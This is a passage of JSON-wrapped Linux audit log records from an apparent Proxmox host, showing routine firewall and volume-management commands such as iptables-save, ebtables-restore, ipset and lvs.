type=PROCTITLE msg=audit(1781964785.700:62592): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964195400,"@rawstring":"node=pve type=PATH msg=audit(1781964195.400:59982): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785693,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.693:62591): proctitle=\"ip6tables-save\""} {"@timestamp":1781964195394,"@rawstring":"node=pve type=PATH msg=audit(1781964195.394:59981): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785687,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.687:62590): proctitle=\"iptables-save\""} {"@timestamp":1781964195394,"@rawstring":"node=pve type=PATH msg=audit(1781964195.394:59981): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785681,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.681:62589): proctitle=\"ip6tables-save\""} {"@timestamp":1781964195389,"@rawstring":"node=pve type=PATH msg=audit(1781964195.389:59980): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785673,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.673:62588): proctitle=\"iptables-save\""} {"@timestamp":1781964195389,"@rawstring":"node=pve type=PATH msg=audit(1781964195.389:59980): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785670,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.670:62587): proctitle=\"ebtables-restore\""} {"@timestamp":1781964195382,"@rawstring":"node=pve type=PATH msg=audit(1781964195.382:59979): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785668,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.668:62586): proctitle=\"ebtables-restore\""} {"@timestamp":1781964195382,"@rawstring":"node=pve type=PATH msg=audit(1781964195.382:59979): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785663,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.663:62585): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964195376,"@rawstring":"node=pve type=PATH msg=audit(1781964195.376:59978): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785657,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.657:62584): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964195376,"@rawstring":"node=pve type=PATH msg=audit(1781964195.376:59978): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785651,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.651:62583): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964194989,"@rawstring":"node=pve type=PATH msg=audit(1781964194.989:59977): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785646,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.646:62582): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964194989,"@rawstring":"node=pve type=PATH msg=audit(1781964194.989:59977): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785644,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.644:62581): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964194963,"@rawstring":"node=pve type=PATH msg=audit(1781964194.963:59976): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785644,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.644:62580): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964194963,"@rawstring":"node=pve type=PATH msg=audit(1781964194.963:59976): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785644,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.644:62579): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964193259,"@rawstring":"node=pve type=PATH msg=audit(1781964193.259:59975): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785640,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.640:62578): proctitle=697073657400726573746F7265"} {"@timestamp":1781964193259,"@rawstring":"node=pve type=PATH msg=audit(1781964193.259:59975): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785633,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.633:62577): proctitle=\"ip6tables-save\""} {"@timestamp":1781964193259,"@rawstring":"node=pve type=PATH msg=audit(1781964193.259:59974): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785633,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.633:62576): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964193259,"@rawstring":"node=pve type=PATH msg=audit(1781964193.259:59973): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785633,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.633:62575): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964193245,"@rawstring":"node=pve type=PATH msg=audit(1781964193.245:59972): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785633,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.633:62574): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964193245,"@rawstring":"node=pve type=PATH msg=audit(1781964193.245:59972): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785627,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.627:62573): proctitle=\"iptables-save\""} {"@timestamp":1781964193245,"@rawstring":"node=pve type=PATH msg=audit(1781964193.245:59971): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785624,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.624:62572): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964193245,"@rawstring":"node=pve type=PATH msg=audit(1781964193.245:59970): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785622,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.622:62571): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964188237,"@rawstring":"node=pve type=PATH msg=audit(1781964188.237:59969): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785621,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.621:62570): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964188237,"@rawstring":"node=pve type=PATH msg=audit(1781964188.237:59969): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785621,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.621:62569): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964188237,"@rawstring":"node=pve type=PATH msg=audit(1781964188.237:59968): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785617,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.617:62568): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964188237,"@rawstring":"node=pve type=PATH msg=audit(1781964188.237:59967): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785611,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.611:62567): proctitle=\"ip6tables-save\""} {"@timestamp":1781964188228,"@rawstring":"node=pve type=PATH msg=audit(1781964188.228:59966): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785606,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.606:62566): proctitle=\"iptables-save\""} {"@timestamp":1781964188228,"@rawstring":"node=pve type=PATH msg=audit(1781964188.228:59966): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785601,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.601:62565): proctitle=69707365740073617665"} {"@timestamp":1781964188228,"@rawstring":"node=pve type=PATH msg=audit(1781964188.228:59965): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785595,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.595:62564): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964188227,"@rawstring":"node=pve type=PATH msg=audit(1781964188.227:59964): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785588,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.588:62563): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964185365,"@rawstring":"node=pve type=PATH msg=audit(1781964185.365:59963): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964784839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964784.839:62562): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964185365,"@rawstring":"node=pve type=PATH msg=audit(1781964185.365:59963): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964784814,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964784.814:62561): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964185362,"@rawstring":"node=pve type=PATH msg=audit(1781964185.362:59962): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964780623,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964780.623:62560): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185362,"@rawstring":"node=pve type=PATH msg=audit(1781964185.362:59962): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964780623,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964780.623:62559): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185361,"@rawstring":"node=pve type=PATH msg=audit(1781964185.361:59961): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964780623,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964780.623:62558): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185361,"@rawstring":"node=pve type=PATH msg=audit(1781964185.361:59961): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964780608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964780.608:62557): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185361,"@rawstring":"node=pve type=PATH msg=audit(1781964185.361:59960): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964780608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964780.608:62556): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185357,"@rawstring":"node=pve type=PATH msg=audit(1781964185.357:59959): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964780607,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964780.607:62555): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185357,"@rawstring":"node=pve type=PATH msg=audit(1781964185.357:59959): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775599,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.599:62554): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185357,"@rawstring":"node=pve type=PATH msg=audit(1781964185.357:59959): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775599,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.599:62553): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185349,"@rawstring":"node=pve type=PATH msg=audit(1781964185.349:59958): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775599,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.599:62552): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185349,"@rawstring":"node=pve type=PATH msg=audit(1781964185.349:59958): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775591,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.591:62551): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185343,"@rawstring":"node=pve type=PATH msg=audit(1781964185.343:59957): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775591,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.591:62550): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185343,"@rawstring":"node=pve type=PATH msg=audit(1781964185.343:59957): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775591,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.591:62549): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185337,"@rawstring":"node=pve type=PATH msg=audit(1781964185.337:59956): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775577,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.577:62548): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964185337,"@rawstring":"node=pve type=PATH msg=audit(1781964185.337:59956): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775573,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.573:62547): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964185330,"@rawstring":"node=pve type=PATH msg=audit(1781964185.330:59955): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775573,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.573:62546): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964185330,"@rawstring":"node=pve type=PATH msg=audit(1781964185.330:59955): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775573,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.573:62545): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964185325,"@rawstring":"node=pve type=PATH msg=audit(1781964185.325:59953): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775569,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.569:62544): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964185325,"@rawstring":"node=pve type=PATH msg=audit(1781964185.325:59953): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775563,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.563:62543): proctitle=\"ip6tables-save\""} {"@timestamp":1781964185319,"@rawstring":"node=pve type=PATH msg=audit(1781964185.319:59952): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775557,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.557:62542): proctitle=\"iptables-save\""} {"@timestamp":1781964185319,"@rawstring":"node=pve type=PATH msg=audit(1781964185.319:59952): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775550,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.550:62541): proctitle=\"ip6tables-save\""} {"@timestamp":1781964185314,"@rawstring":"node=pve type=PATH msg=audit(1781964185.314:59951): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775543,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.543:62540): proctitle=\"iptables-save\""} {"@timestamp":1781964185314,"@rawstring":"node=pve type=PATH msg=audit(1781964185.314:59951): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.540:62539): proctitle=\"ebtables-restore\""} {"@timestamp":1781964185309,"@rawstring":"node=pve type=PATH msg=audit(1781964185.309:59950): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775538,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.538:62538): proctitle=\"ebtables-restore\""} {"@timestamp":1781964185309,"@rawstring":"node=pve type=PATH msg=audit(1781964185.309:59950): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775533,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.533:62537): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964185302,"@rawstring":"node=pve type=PATH msg=audit(1781964185.302:59949): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775529,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.529:62536): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964185302,"@rawstring":"node=pve type=PATH msg=audit(1781964185.302:59949): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775524,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.524:62535): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964185297,"@rawstring":"node=pve type=PATH msg=audit(1781964185.297:59948): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775518,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.518:62534): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964185297,"@rawstring":"node=pve type=PATH msg=audit(1781964185.297:59948): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775513,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.513:62533): proctitle=697073657400726573746F7265"} {"@timestamp":1781964185290,"@rawstring":"node=pve type=PATH msg=audit(1781964185.290:59947): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775507,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.507:62532): proctitle=\"ip6tables-save\""} {"@timestamp":1781964185290,"@rawstring":"node=pve type=PATH msg=audit(1781964185.290:59947): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 